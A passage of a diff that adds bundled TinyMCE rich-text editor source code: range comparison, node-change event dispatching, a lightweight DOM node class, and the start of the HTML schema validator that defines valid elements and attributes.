+	 * @return {Boolean} true/false if the ranges are equal.
+	 */
+	RangeUtils.compareRanges = function(rng1, rng2) {
+		if (rng1 && rng2) {
+			// Compare native IE ranges
+			if (rng1.item || rng1.duplicate) {
+				// Both are control ranges and the selected element matches
+				if (rng1.item && rng2.item && rng1.item(0) === rng2.item(0)) {
+					return true;
+				}
+
+				// Both are text ranges and the range matches
+				if (rng1.isEqual && rng2.isEqual && rng2.isEqual(rng1)) {
+					return true;
+				}
+			} else {
+				// Compare w3c ranges
+				return rng1.startContainer == rng2.startContainer && rng1.startOffset == rng2.startOffset;
+			}
+		}
+
+		return false;
+	};
+
+	return RangeUtils;
+});
+
+// Included from: js/tinymce/classes/NodeChange.js
+
+/**
+ * NodeChange.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class handles the nodechange event dispatching both manual and though selection change events.
+ *
+ * @class tinymce.NodeChange
+ * @private
+ */
+define("tinymce/NodeChange", [
+	"tinymce/dom/RangeUtils"
+], function(RangeUtils) {
+	return function(editor) {
+		var lastRng, lastPath = [];
+
+		/**
+		 * Returns true/false if the current element path has been changed or not.
+		 *
+		 * @private
+		 * @return {Boolean} True if the element path is the same false if it's not.
+		 */
+		function isSameElementPath(startElm) {
+			var i, currentPath;
+
+			currentPath = editor.$(startElm).parentsUntil(editor.getBody()).add(startElm);
+			if (currentPath.length === lastPath.length) {
+				for (i = currentPath.length; i >= 0; i--) {
+					if (currentPath[i] !== lastPath[i]) {
+						break;
+					}
+				}
+
+				if (i === -1) {
+					lastPath = currentPath;
+					return true;
+				}
+			}
+
+			lastPath = currentPath;
+
+			return false;
+		}
+
+		// Gecko doesn't support the "selectionchange" event
+		if (!('onselectionchange' in editor.getDoc())) {
+			editor.on('NodeChange Click MouseUp KeyUp Focus', function(e) {
+				var nativeRng, fakeRng;
+
+				// Since DOM Ranges mutate on modification
+				// of the DOM we need to clone it's contents
+				nativeRng = editor.selection.getRng();
+				fakeRng = {
+					startContainer: nativeRng.startContainer,
+					startOffset: nativeRng.startOffset,
+					endContainer: nativeRng.endContainer,
+					endOffset: nativeRng.endOffset
+				};
+
+				// Always treat nodechange as a selectionchange since applying
+				// formatting to the current range wouldn't update the range but it's parent
+				if (e.type == 'nodechange' || !RangeUtils.compareRanges(fakeRng, lastRng)) {
+					editor.fire('SelectionChange');
+				}
+
+				lastRng = fakeRng;
+			});
+		}
+
+		// IE has a bug where it fires a selectionchange on right click that has a range at the start of the body
+		// When the contextmenu event fires the selection is located at the right location
+		editor.on('contextmenu', function() {
+			editor.fire('SelectionChange');
+		});
+
+		editor.on('SelectionChange', function() {
+			var startElm = editor.selection.getStart(true);
+
+			// Fire a nodechange only when the selection isn't collapsed since focusout will collapse and remove the selection
+			if (!editor.selection.isCollapsed() && !isSameElementPath(startElm) && editor.dom.isChildOf(startElm, editor.getBody())) {
+				editor.nodeChanged({selectionChange: true});
+			}
+		});
+
+		// Fire an extra nodeChange on mouseup for compatibility reasons
+		editor.on('MouseUp', function(e) {
+			if (!e.isDefaultPrevented()) {
+				// Delay nodeChanged call for WebKit edge case issue where the range
+				// isn't updated until after you click outside a selected image
+				setTimeout(function() {
+					editor.nodeChanged();
+				}, 0);
+			}
+		});
+
+		/**
+		 * Distpaches out a onNodeChange event to all observers. This method should be called when you
+		 * need to update the UI states or element path etc.
+		 *
+		 * @method nodeChanged
+		 * @param {Object} args Optional args to pass to NodeChange event handlers.
+		 */
+		this.nodeChanged = function(args) {
+			var selection = editor.selection, node, parents, root;
+
+			// Fix for bug #1896577 it seems that this can not be fired while the editor is loading
+			if (editor.initialized && selection && !editor.settings.disable_nodechange && !editor.settings.readonly) {
+				// Get start node
+				root = editor.getBody();
+				node = selection.getStart() || root;
+				node = node.ownerDocument != editor.getDoc() ? editor.getBody() : node;
+
+				// Edge case for <p>|<img></p>
+				if (node.nodeName == 'IMG' && selection.isCollapsed()) {
+					node = node.parentNode;
+				}
+
+				// Get parents and add them to object
+				parents = [];
+				editor.dom.getParent(node, function(node) {
+					if (node === root) {
+						return true;
+					}
+
+					parents.push(node);
+				});
+
+				args = args || {};
+				args.element = node;
+				args.parents = parents;
+
+				editor.fire('NodeChange', args);
+			}
+		};
+	};
+});
+
+// Included from: js/tinymce/classes/html/Node.js
+
+/**
+ * Node.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class is a minimalistic implementation of a DOM like node used by the DomParser class.
+ *
+ * @example
+ * var node = new tinymce.html.Node('strong', 1);
+ * someRoot.append(node);
+ *
+ * @class tinymce.html.Node
+ * @version 3.4
+ */
+define("tinymce/html/Node", [], function() {
+	var whiteSpaceRegExp = /^[ \t\r\n]*$/, typeLookup = {
+		'#text': 3,
+		'#comment': 8,
+		'#cdata': 4,
+		'#pi': 7,
+		'#doctype': 10,
+		'#document-fragment': 11
+	};
+
+	// Walks the tree left/right
+	function walk(node, root_node, prev) {
+		var sibling, parent, startName = prev ? 'lastChild' : 'firstChild', siblingName = prev ? 'prev' : 'next';
+
+		// Walk into nodes if it has a start
+		if (node[startName]) {
+			return node[startName];
+		}
+
+		// Return the sibling if it has one
+		if (node !== root_node) {
+			sibling = node[siblingName];
+
+			if (sibling) {
+				return sibling;
+			}
+
+			// Walk up the parents to look for siblings
+			for (parent = node.parent; parent && parent !== root_node; parent = parent.parent) {
+				sibling = parent[siblingName];
+
+				if (sibling) {
+					return sibling;
+				}
+			}
+		}
+	}
+
+	/**
+	 * Constructs a new Node instance.
+	 *
+	 * @constructor
+	 * @method Node
+	 * @param {String} name Name of the node type.
+	 * @param {Number} type Numeric type representing the node.
+	 */
+	function Node(name, type) {
+		this.name = name;
+		this.type = type;
+
+		if (type === 1) {
+			this.attributes = [];
+			this.attributes.map = {};
+		}
+	}
+
+	Node.prototype = {
+		/**
+		 * Replaces the current node with the specified one.
+		 *
+		 * @example
+		 * someNode.replace(someNewNode);
+		 *
+		 * @method replace
+		 * @param {tinymce.html.Node} node Node to replace the current node with.
+		 * @return {tinymce.html.Node} The old node that got replaced.
+		 */
+		replace: function(node) {
+			var self = this;
+
+			if (node.parent) {
+				node.remove();
+			}
+
+			self.insert(node, self);
+			self.remove();
+
+			return self;
+		},
+
+		/**
+		 * Gets/sets or removes an attribute by name.
+		 *
+		 * @example
+		 * someNode.attr("name", "value"); // Sets an attribute
+		 * console.log(someNode.attr("name")); // Gets an attribute
+		 * someNode.attr("name", null); // Removes an attribute
+		 *
+		 * @method attr
+		 * @param {String} name Attribute name to set or get.
+		 * @param {String} value Optional value to set.
+		 * @return {String/tinymce.html.Node} String or undefined on a get operation or the current node on a set operation.
+		 */
+		attr: function(name, value) {
+			var self = this, attrs, i, undef;
+
+			if (typeof name !== "string") {
+				for (i in name) {
+					self.attr(i, name[i]);
+				}
+
+				return self;
+			}
+
+			if ((attrs = self.attributes)) {
+				if (value !== undef) {
+					// Remove attribute
+					if (value === null) {
+						if (name in attrs.map) {
+							delete attrs.map[name];
+
+							i = attrs.length;
+							while (i--) {
+								if (attrs[i].name === name) {
+									attrs = attrs.splice(i, 1);
+									return self;
+								}
+							}
+						}
+
+						return self;
+					}
+
+					// Set attribute
+					if (name in attrs.map) {
+						// Set attribute
+						i = attrs.length;
+						while (i--) {
+							if (attrs[i].name === name) {
+								attrs[i].value = value;
+								break;
+							}
+						}
+					} else {
+						attrs.push({name: name, value: value});
+					}
+
+					attrs.map[name] = value;
+
+					return self;
+				} else {
+					return attrs.map[name];
+				}
+			}
+		},
+
+		/**
+		 * Does a shallow clones the node into a new node. It will also exclude id attributes since
+		 * there should only be one id per document.
+		 *
+		 * @example
+		 * var clonedNode = node.clone();
+		 *
+		 * @method clone
+		 * @return {tinymce.html.Node} New copy of the original node.
+		 */
+		clone: function() {
+			var self = this, clone = new Node(self.name, self.type), i, l, selfAttrs, selfAttr, cloneAttrs;
+
+			// Clone element attributes
+			if ((selfAttrs = self.attributes)) {
+				cloneAttrs = [];
+				cloneAttrs.map = {};
+
+				for (i = 0, l = selfAttrs.length; i < l; i++) {
+					selfAttr = selfAttrs[i];
+
+					// Clone everything except id
+					if (selfAttr.name !== 'id') {
+						cloneAttrs[cloneAttrs.length] = {name: selfAttr.name, value: selfAttr.value};
+						cloneAttrs.map[selfAttr.name] = selfAttr.value;
+					}
+				}
+
+				clone.attributes = cloneAttrs;
+			}
+
+			clone.value = self.value;
+			clone.shortEnded = self.shortEnded;
+
+			return clone;
+		},
+
+		/**
+		 * Wraps the node in in another node.
+		 *
+		 * @example
+		 * node.wrap(wrapperNode);
+		 *
+		 * @method wrap
+		 */
+		wrap: function(wrapper) {
+			var self = this;
+
+			self.parent.insert(wrapper, self);
+			wrapper.append(self);
+
+			return self;
+		},
+
+		/**
+		 * Unwraps the node in other words it removes the node but keeps the children.
+		 *
+		 * @example
+		 * node.unwrap();
+		 *
+		 * @method unwrap
+		 */
+		unwrap: function() {
+			var self = this, node, next;
+
+			for (node = self.firstChild; node;) {
+				next = node.next;
+				self.insert(node, self, true);
+				node = next;
+			}
+
+			self.remove();
+		},
+
+		/**
+		 * Removes the node from it's parent.
+		 *
+		 * @example
+		 * node.remove();
+		 *
+		 * @method remove
+		 * @return {tinymce.html.Node} Current node that got removed.
+		 */
+		remove: function() {
+			var self = this, parent = self.parent, next = self.next, prev = self.prev;
+
+			if (parent) {
+				if (parent.firstChild === self) {
+					parent.firstChild = next;
+
+					if (next) {
+						next.prev = null;
+					}
+				} else {
+					prev.next = next;
+				}
+
+				if (parent.lastChild === self) {
+					parent.lastChild = prev;
+
+					if (prev) {
+						prev.next = null;
+					}
+				} else {
+					next.prev = prev;
+				}
+
+				self.parent = self.next = self.prev = null;
+			}
+
+			return self;
+		},
+
+		/**
+		 * Appends a new node as a child of the current node.
+		 *
+		 * @example
+		 * node.append(someNode);
+		 *
+		 * @method append
+		 * @param {tinymce.html.Node} node Node to append as a child of the current one.
+		 * @return {tinymce.html.Node} The node that got appended.
+		 */
+		append: function(node) {
+			var self = this, last;
+
+			if (node.parent) {
+				node.remove();
+			}
+
+			last = self.lastChild;
+			if (last) {
+				last.next = node;
+				node.prev = last;
+				self.lastChild = node;
+			} else {
+				self.lastChild = self.firstChild = node;
+			}
+
+			node.parent = self;
+
+			return node;
+		},
+
+		/**
+		 * Inserts a node at a specific position as a child of the current node.
+		 *
+		 * @example
+		 * parentNode.insert(newChildNode, oldChildNode);
+		 *
+		 * @method insert
+		 * @param {tinymce.html.Node} node Node to insert as a child of the current node.
+		 * @param {tinymce.html.Node} ref_node Reference node to set node before/after.
+		 * @param {Boolean} before Optional state to insert the node before the reference node.
+		 * @return {tinymce.html.Node} The node that got inserted.
+		 */
+		insert: function(node, ref_node, before) {
+			var parent;
+
+			if (node.parent) {
+				node.remove();
+			}
+
+			parent = ref_node.parent || this;
+
+			if (before) {
+				if (ref_node === parent.firstChild) {
+					parent.firstChild = node;
+				} else {
+					ref_node.prev.next = node;
+				}
+
+				node.prev = ref_node.prev;
+				node.next = ref_node;
+				ref_node.prev = node;
+			} else {
+				if (ref_node === parent.lastChild) {
+					parent.lastChild = node;
+				} else {
+					ref_node.next.prev = node;
+				}
+
+				node.next = ref_node.next;
+				node.prev = ref_node;
+				ref_node.next = node;
+			}
+
+			node.parent = parent;
+
+			return node;
+		},
+
+		/**
+		 * Get all children by name.
+		 *
+		 * @method getAll
+		 * @param {String} name Name of the child nodes to collect.
+		 * @return {Array} Array with child nodes matchin the specified name.
+		 */
+		getAll: function(name) {
+			var self = this, node, collection = [];
+
+			for (node = self.firstChild; node; node = walk(node, self)) {
+				if (node.name === name) {
+					collection.push(node);
+				}
+			}
+
+			return collection;
+		},
+
+		/**
+		 * Removes all children of the current node.
+		 *
+		 * @method empty
+		 * @return {tinymce.html.Node} The current node that got cleared.
+		 */
+		empty: function() {
+			var self = this, nodes, i, node;
+
+			// Remove all children
+			if (self.firstChild) {
+				nodes = [];
+
+				// Collect the children
+				for (node = self.firstChild; node; node = walk(node, self)) {
+					nodes.push(node);
+				}
+
+				// Remove the children
+				i = nodes.length;
+				while (i--) {
+					node = nodes[i];
+					node.parent = node.firstChild = node.lastChild = node.next = node.prev = null;
+				}
+			}
+
+			self.firstChild = self.lastChild = null;
+
+			return self;
+		},
+
+		/**
+		 * Returns true/false if the node is to be considered empty or not.
+		 *
+		 * @example
+		 * node.isEmpty({img: true});
+		 * @method isEmpty
+		 * @param {Object} elements Name/value object with elements that are automatically treated as non empty elements.
+		 * @return {Boolean} true/false if the node is empty or not.
+		 */
+		isEmpty: function(elements) {
+			var self = this, node = self.firstChild, i, name;
+
+			if (node) {
+				do {
+					if (node.type === 1) {
+						// Ignore bogus elements
+						if (node.attributes.map['data-mce-bogus']) {
+							continue;
+						}
+
+						// Keep empty elements like <img />
+						if (elements[node.name]) {
+							return false;
+						}
+
+						// Keep bookmark nodes and name attribute like <a name="1"></a>
+						i = node.attributes.length;
+						while (i--) {
+							name = node.attributes[i].name;
+							if (name === "name" || name.indexOf('data-mce-bookmark') === 0) {
+								return false;
+							}
+						}
+					}
+
+					// Keep comments
+					if (node.type === 8) {
+						return false;
+					}
+
+					// Keep non whitespace text nodes
+					if ((node.type === 3 && !whiteSpaceRegExp.test(node.value))) {
+						return false;
+					}
+				} while ((node = walk(node, self)));
+			}
+
+			return true;
+		},
+
+		/**
+		 * Walks to the next or previous node and returns that node or null if it wasn't found.
+		 *
+		 * @method walk
+		 * @param {Boolean} prev Optional previous node state defaults to false.
+		 * @return {tinymce.html.Node} Node that is next to or previous of the current node.
+		 */
+		walk: function(prev) {
+			return walk(this, null, prev);
+		}
+	};
+
+	/**
+	 * Creates a node of a specific type.
+	 *
+	 * @static
+	 * @method create
+	 * @param {String} name Name of the node type to create for example "b" or "#text".
+	 * @param {Object} attrs Name/value collection of attributes that will be applied to elements.
+	 */
+	Node.create = function(name, attrs) {
+		var node, attrName;
+
+		// Create node
+		node = new Node(name, typeLookup[name] || 1);
+
+		// Add attributes if needed
+		if (attrs) {
+			for (attrName in attrs) {
+				node.attr(attrName, attrs[attrName]);
+			}
+		}
+
+		return node;
+	};
+
+	return Node;
+});
+
+// Included from: js/tinymce/classes/html/Schema.js
+
+/**
+ * Schema.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Schema validator class.
+ *
+ * @class tinymce.html.Schema
+ * @example
+ *  if (tinymce.activeEditor.schema.isValidChild('p', 'span'))
+ *    alert('span is valid child of p.');
+ *
+ *  if (tinymce.activeEditor.schema.getElementRule('p'))
+ *    alert('P is a valid element.');
+ *
+ * @class tinymce.html.Schema
+ * @version 3.4
+ */
+define("tinymce/html/Schema", [
+	"tinymce/util/Tools"
+], function(Tools) {
+	var mapCache = {}, dummyObj = {};
+	var makeMap = Tools.makeMap, each = Tools.each, extend = Tools.extend, explode = Tools.explode, inArray = Tools.inArray;
+
+	function split(items, delim) {
+		return items ? items.split(delim || ' ') : [];
+	}
+
+	/**
+	 * Builds a schema lookup table
+	 *
+	 * @private
+	 * @param {String} type html4, html5 or html5-strict schema type.
+	 * @return {Object} Schema lookup table.
+	 */
+	function compileSchema(type) {
+		var schema = {}, globalAttributes, blockContent;
+		var phrasingContent, flowContent, html4BlockContent, html4PhrasingContent;
+
+		function add(name, attributes, children) {
+			var ni, i, attributesOrder, args = arguments;
+
+			function arrayToMap(array, obj) {
+				var map = {}, i, l;
+
+				for (i = 0, l = array.length; i < l; i++) {
+					map[array[i]] = obj || {};
+				}
+
+				return map;
+			}
+
+			children = children || [];
+			attributes = attributes || "";
+
+			if (typeof(children) === "string") {
+				children = split(children);
+			}
+
+			// Split string children
+			for (i = 3; i < args.length; i++) {
+				if (typeof(args[i]) === "string") {
+					args[i] = split(args[i]);
+				}
+
+				children.push.apply(children, args[i]);
+			}
+
+			name = split(name);
+			ni = name.length;
+			while (ni--) {
+				attributesOrder = [].concat(globalAttributes, split(attributes));
+				schema[name[ni]] = {
+					attributes: arrayToMap(attributesOrder),
+					attributesOrder: attributesOrder,
+					children: arrayToMap(children, dummyObj)
+				};
+			}
+		}
+
+		function addAttrs(name, attributes) {
+			var ni, schemaItem, i, l;
+
+			name = split(name);
+			ni = name.length;
+			attributes = split(attributes);
+			while (ni--) {
+				schemaItem = schema[name[ni]];
+				for (i = 0, l = attributes.length; i < l; i++) {
+					schemaItem.attributes[attributes[i]] = {};
+					schemaItem.attributesOrder.push(attributes[i]);
+				}
+			}
+		}
+
+		// Use cached schema
+		if (mapCache[type]) {
+			return mapCache[type];
+		}
+
+		// Attributes present on all elements
+		globalAttributes = split("id accesskey class dir lang style tabindex title");
+
+		// Event attributes can be opt-in/opt-out
+		/*eventAttributes = split("onabort onblur oncancel oncanplay oncanplaythrough onchange onclick onclose oncontextmenu oncuechange " +
+				"ondblclick ondrag ondragend ondragenter ondragleave ondragover ondragstart ondrop ondurationchange onemptied onended " +
+				"onerror onfocus oninput oninvalid onkeydown onkeypress onkeyup onload onloadeddata onloadedmetadata onloadstart " +
+				"onmousedown onmousemove onmouseout onmouseover onmouseup onmousewheel onpause onplay onplaying onprogress onratechange " +
+				"onreset onscroll onseeked onseeking onseeking onselect onshow onstalled onsubmit onsuspend ontimeupdate onvolumechange " +
+				"onwaiting"
+		);*/
+
+		// Block content elements
+		blockContent = split(
+			"address blockquote div dl fieldset form h1 h2 h3 h4 h5 h6 hr menu ol p pre table ul"
+		);
+
+		// Phrasing content elements from the HTML5 spec (inline)
+		phrasingContent = split(
+			"a abbr b bdo br button cite code del dfn em embed i iframe img input ins kbd " +
+			"label map noscript object q s samp script select small span strong sub sup " +
+			"textarea u var #text #comment"
+		);
+
+		// Add HTML5 items to globalAttributes, blockContent, phrasingContent
+		if (type != "html4") {
+			globalAttributes.push.apply(globalAttributes, split("contenteditable contextmenu draggable dropzone " +
+				"hidden spellcheck translate"));
+			blockContent.push.apply(blockContent, split("article aside details dialog figure header footer hgroup section nav"));
+			phrasingContent.push.apply(phrasingContent, split("audio canvas command datalist mark meter output progress time wbr " +
+				"video ruby bdi keygen"));
+		}
+
+		// Add HTML4 elements unless it's html5-strict
+		if (type != "html5-strict") {
+			globalAttributes.push("xml:lang");
+
+			html4PhrasingContent = split("acronym applet basefont big font strike tt");
+			phrasingContent.push.apply(phrasingContent, html4PhrasingContent);
+
+			each(html4PhrasingContent, function(name) {
+				add(name, "", phrasingContent);
+			});
+
+			html4BlockContent = split("center dir isindex noframes");
+			blockContent.push.apply(blockContent, html4BlockContent);
+
+			// Flow content elements from the HTML5 spec (block+inline)
+			flowContent = [].concat(blockContent, phrasingContent);
+
+			each(html4BlockContent, function(name) {
+				add(name, "", flowContent);
+			});
+		}
+
+		// Flow content elements from the HTML5 spec (block+inline)
+		flowContent = flowContent || [].concat(blockContent, phrasingContent);
+
+		// HTML4 base schema TODO: Move HTML5 specific attributes to HTML5 specific if statement
+		// Schema items <element name>, <specific attributes>, <children ..>
+		add("html", "manifest", "head body");
+		add("head", "", "base command link meta noscript script style title");
+		add("title hr noscript br");
+		add("base", "href target");
+		add("link", "href rel media hreflang type sizes hreflang");
+		add("meta", "name http-equiv content charset");
+		add("style", "media type scoped");
+		add("script", "src async defer type charset");
+		add("body", "onafterprint onbeforeprint onbeforeunload onblur onerror onfocus " +
+				"onhashchange onload onmessage onoffline ononline onpagehide onpageshow " +
+				"onpopstate onresize onscroll onstorage onunload", flowContent);
+		add("address dt dd div caption", "", flowContent);
+		add("h1 h2 h3 h4 h5 h6 pre p abbr code var samp kbd sub sup i b u bdo span legend em strong small s cite dfn", "", phrasingContent);
+		add("blockquote", "cite", flowContent);
+		add("ol", "reversed start type", "li");
+		add("ul", "", "li");
+		add("li", "value", flowContent);
+		add("dl", "", "dt dd");
+		add("a", "href target rel media hreflang type", phrasingContent);
+		add("q", "cite", phrasingContent);
+		add("ins del", "cite datetime", flowContent);
+		add("img", "src srcset alt usemap ismap width height");
+		add("iframe", "src name width height", flowContent);
+		add("embed", "src type width height");
+		add("object", "data type typemustmatch name usemap form width height", flowContent, "param");
+		add("param", "name value");
+		add("map", "name", flowContent, "area");
+		add("area", "alt coords shape href target rel media hreflang type");
+		add("table", "border", "caption colgroup thead tfoot tbody tr" + (type == "html4" ? " col" : ""));
+		add("colgroup", "span", "col");
+		add("col", "span");
+		add("tbody thead tfoot", "", "tr");
+		add("tr", "", "td th");
+		add("td", "colspan rowspan headers", flowContent);
+		add("th", "colspan rowspan headers scope abbr", flowContent);
+		add("form", "accept-charset action autocomplete enctype method name novalidate target", flowContent);
+		add("fieldset", "disabled form name", flowContent, "legend");
+		add("label", "form for", phrasingContent);
+		add("input", "accept alt autocomplete checked dirname disabled form formaction formenctype formmethod formnovalidate " +
+				"formtarget height list max maxlength min multiple name pattern readonly required size src step type value width"
+		);
+		add("button", "disabled form formaction formenctype formmethod formnovalidate formtarget name type value",
+			type == "html4" ? flowContent : phrasingContent);
+		add("select", "disabled form multiple name required size", "option optgroup");
+		add("optgroup", "disabled label", "option");
+		add("option", "disabled label selected value");
+		add("textarea", "cols dirname disabled form maxlength name readonly required rows wrap");
+		add("menu", "type label", flowContent, "li");
+		add("noscript", "", flowContent);
+
+		// Extend with HTML5 elements
+		if (type != "html4") {
+			add("wbr");
+			add("ruby", "", phrasingContent, "rt rp");
+			add("figcaption", "", flowContent);
+			add("mark rt rp summary bdi", "", phrasingContent);
+			add("canvas", "width height", flowContent);
+			add("video", "src crossorigin poster preload autoplay mediagroup loop " +
+				"muted controls width height buffered", flowContent, "track source");
+			add("audio", "src crossorigin preload autoplay mediagroup loop muted controls buffered volume", flowContent, "track source");
+			add("picture", "", "img source");
+			add("source", "src srcset type media sizes");
+			add("track", "kind src srclang label default");
+			add("datalist", "", phrasingContent, "option");
+			add("article section nav aside header footer", "", flowContent);
+			add("hgroup", "", "h1 h2 h3 h4 h5 h6");
+			add("figure", "", flowContent, "figcaption");
+			add("time", "datetime", phrasingContent);
+			add("dialog", "open", flowContent);
+			add("command", "type label icon disabled checked radiogroup command");
+			add("output", "for form name", phrasingContent);
+			add("progress", "value max", phrasingContent);
+			add("meter", "value min max low high optimum", phrasingContent);
+			add("details", "open", flowContent, "summary");
+			add("keygen", "autofocus challenge disabled form keytype name");
+		}
+
+		// Extend with HTML4 attributes unless it's html5-strict
+		if (type != "html5-strict") {
+			addAttrs("script", "language xml:space");
+			addAttrs("style", "xml:space");
+			addAttrs("object", "declare classid code codebase codetype archive standby align border hspace vspace");
+			addAttrs("embed", "align name hspace vspace");
+			addAttrs("param", "valuetype type");
+			addAttrs("a", "charset name rev shape coords");
+			addAttrs("br", "clear");
+			addAttrs("applet", "codebase archive code object alt name width height align hspace vspace");
+			addAttrs("img", "name longdesc align border hspace vspace");
+			addAttrs("iframe", "longdesc frameborder marginwidth marginheight scrolling align");
+			addAttrs("font basefont", "size color face");
+			addAttrs("input", "usemap align");
+			addAttrs("select", "onchange");
+			addAttrs("textarea");
+			addAttrs("h1 h2 h3 h4 h5 h6 div p legend caption", "align");
+			addAttrs("ul", "type compact");
+			addAttrs("li", "type");
+			addAttrs("ol dl menu dir", "compact");
+			addAttrs("pre", "width xml:space");
+			addAttrs("hr", "align noshade size width");
+			addAttrs("isindex", "prompt");
+			addAttrs("table", "summary width frame rules cellspacing cellpadding align bgcolor");
+			addAttrs("col", "width align char charoff valign");
+			addAttrs("colgroup", "width align char charoff valign");
+			addAttrs("thead", "align char charoff valign");
+			addAttrs("tr", "align char charoff valign bgcolor");
+			addAttrs("th", "axis align char charoff valign nowrap bgcolor width height");
+			addAttrs("form", "accept");
+			addAttrs("td", "abbr axis scope align char charoff valign nowrap bgcolor width height");
+			addAttrs("tfoot", "align char charoff valign");
+			addAttrs("tbody", "align char charoff valign");
+			addAttrs("area", "nohref");
+			addAttrs("body", "background bgcolor text link vlink alink");
+		}
+
+		// Extend with HTML5 attributes unless it's html4
+		if (type != "html4") {
+			addAttrs("input button select textarea", "autofocus");
+			addAttrs("input textarea", "placeholder");
+			addAttrs("a", "download");
+			addAttrs("link script img", "crossorigin");
+			addAttrs("iframe", "sandbox seamless allowfullscreen"); // Excluded: srcdoc
+		}
+
+		// Special: iframe, ruby, video, audio, label
+
+		// Delete children of the same name from it's parent
+		// For example: form can't have a child of the name form
+		each(split('a form meter progress dfn'), function(name) {
+			if (schema[name]) {
+				delete schema[name].children[name];
+			}
+		});
+
+		// Delete header, footer, sectioning and heading content descendants
+		/*each('dt th address', function(name) {
+			delete schema[name].children[name];
+		});*/
+
+		// Caption can't have tables
+		delete schema.caption.children.table;
+
+		// TODO: LI:s can only have value if parent is OL
+
+		// TODO: Handle transparent elements
+		// a ins del canvas map
+
+		mapCache[type] = schema;
+
+		return schema;
+	}
+
+	function compileElementMap(value, mode) {
+		var styles;
+
+		if (value) {
+			styles = {};
+
+			if (typeof value == 'string') {
+				value = {
+					'*': value
+				};
+			}
+
+			// Convert styles into a rule list
+			each(value, function(value, key) {
+				styles[key] = mode == 'map' ? makeMap(value, /[, ]/) : explode(value, /[, ]/);
+			});
+		}
+
+		return styles;
+	}
+
+	/**
+	 * Constructs a new Schema instance.
+	 *
+	 * @constructor
+	 * @method Schema
+	 * @param {Object} settings Name/value settings object.
+	 */
+	return function(settings) {
+		var self = this, elements = {}, children = {}, patternElements = [], validStyles, invalidStyles, schemaItems;
+		var whiteSpaceElementsMap, selfClosingElementsMap, shortEndedElementsMap, boolAttrMap, validClasses;
+		var blockElementsMap, nonEmptyElementsMap, textBlockElementsMap, textInlineElementsMap;
+		var customElementsMap = {}, specialElements = {};
+
+		// Creates an lookup table map object for the specified option or the default value
+		function createLookupTable(option, default_value, extendWith) {
+			var value = settings[option];
+
+			if (!value) {
+				// Get cached default map or make it if needed
+				value = mapCache[option];
+
+				if (!value) {
+					value = makeMap(default_value, ' ', makeMap(default_value.toUpperCase(), ' '));
+					value = extend(value, extendWith);
+
+					mapCache[option] = value;
+				}
+			} else {
+				// Create custom map
+				value = makeMap(value, /[, ]/, makeMap(value.toUpperCase(), /[, ]/));
+			}
+
+			return value;
+		}
+
+		settings = settings || {};
+		schemaItems = compileSchema(settings.schema);
+
+		// Allow all elements and attributes if verify_html is set to false
+		if (settings.verify_html === false) {
+			settings.valid_elements = '*[*]';
+		}
+
+		validStyles = compileElementMap(settings.valid_styles);
+		invalidStyles = compileElementMap(settings.invalid_styles, 'map');
+		validClasses = compileElementMap(settings.valid_classes, 'map');
+
+		// Setup map objects
+		whiteSpaceElementsMap = createLookupTable('whitespace_elements', 'pre script noscript style textarea video audio iframe object');
+		selfClosingElementsMap = createLookupTable('self_closing_elements', 'colgroup dd dt li option p td tfoot th thead tr');
+		shortEndedElementsMap = createLookupTable('short_ended_elements', 'area base basefont br col frame hr img input isindex link ' +
+			'meta param embed source wbr track');
+		boolAttrMap = createLookupTable('boolean_attributes', 'checked compact declare defer disabled ismap multiple nohref noresize ' +
+			'noshade nowrap readonly selected autoplay loop controls');
+		nonEmptyElementsMap = createLookupTable('non_empty_elements', 'td th iframe video audio object script', shortEndedElementsMap);
+		textBlockElementsMap = createLookupTable('text_block_elements', 'h1 h2 h3 h4 h5 h6 p div address pre form ' +
+						'blockquote center dir fieldset header footer article section hgroup aside nav figure');
+		blockElementsMap = createLookupTable('block_elements', 'hr table tbody thead tfoot ' +
+						'th tr td li ol ul caption dl dt dd noscript menu isindex option ' +
+						'datalist select optgroup', textBlockElementsMap);
+		textInlineElementsMap = createLookupTable('text_inline_elements', 'span strong b em i font strike u var cite ' +
+										'dfn code mark q sup sub samp');
+
+		each((settings.special || 'script noscript style textarea').split(' '), function(name) {
+			specialElements[name] = new RegExp('<\/' + name + '[^>]*>', 'gi');
+		});
+
+		// Converts a wildcard expression string to a regexp for example *a will become /.*a/.
+		function patternToRegExp(str) {
+			return new RegExp('^' + str.replace(/([?+*])/g, '.$1') + '$');
+		}
+
+		// Parses the specified valid_elements string and adds to the current rules
+		// This function is a bit hard to read since it's heavily optimized for speed
+		function addValidElements(validElements) {
+			var ei, el, ai, al, matches, element, attr, attrData, elementName, attrName, attrType, attributes, attributesOrder,
+				prefix, outputName, globalAttributes, globalAttributesOrder, key, value,
+				elementRuleRegExp = /^([#+\-])?([^\[!\/]+)(?:\/([^\[!]+))?(?:(!?)\[([^\]]+)\])?$/,
+				attrRuleRegExp = /^([!\-])?(\w+::\w+|[^=:<]+)?(?:([=:<])(.*))?$/,
+				hasPatternsRegExp = /[*?+]/;
+
+			if (validElements) {
+				// Split valid elements into an array with rules
+				validElements = split(validElements, ',');
+
+				if (elements['@']) {
+					globalAttributes = elements['@'].attributes;
+					globalAttributesOrder = elements['@'].attributesOrder;
+				}
+
+				// Loop all rules
+				for (ei = 0, el = validElements.length; ei < el; ei++) {
+					// Parse element rule
+					matches = elementRuleRegExp.exec(validElements[ei]);
+					if (matches) {
+						// Setup local names for matches
+						prefix = matches[1];
+						elementName = matches[2];
+						outputName = matches[3];
+						attrData = matches[5];
+
+						// Create new attributes and attributesOrder
+						attributes = {};
+						attributesOrder = [];
+
+						// Create the new element
+						element = {
+							attributes: attributes,
+							attributesOrder: attributesOrder
+						};
+
+						// Padd empty elements prefix
+						if (prefix === '#') {
+							element.paddEmpty = true;
+						}
+
+						// Remove empty elements prefix
+						if (prefix === '-') {
+							element.removeEmpty = true;
+						}
+
+						if (matches[4] === '!') {
+							element.removeEmptyAttrs = true;
+						}
+
+						// Copy attributes from global rule into current rule
+						if (globalAttributes) {
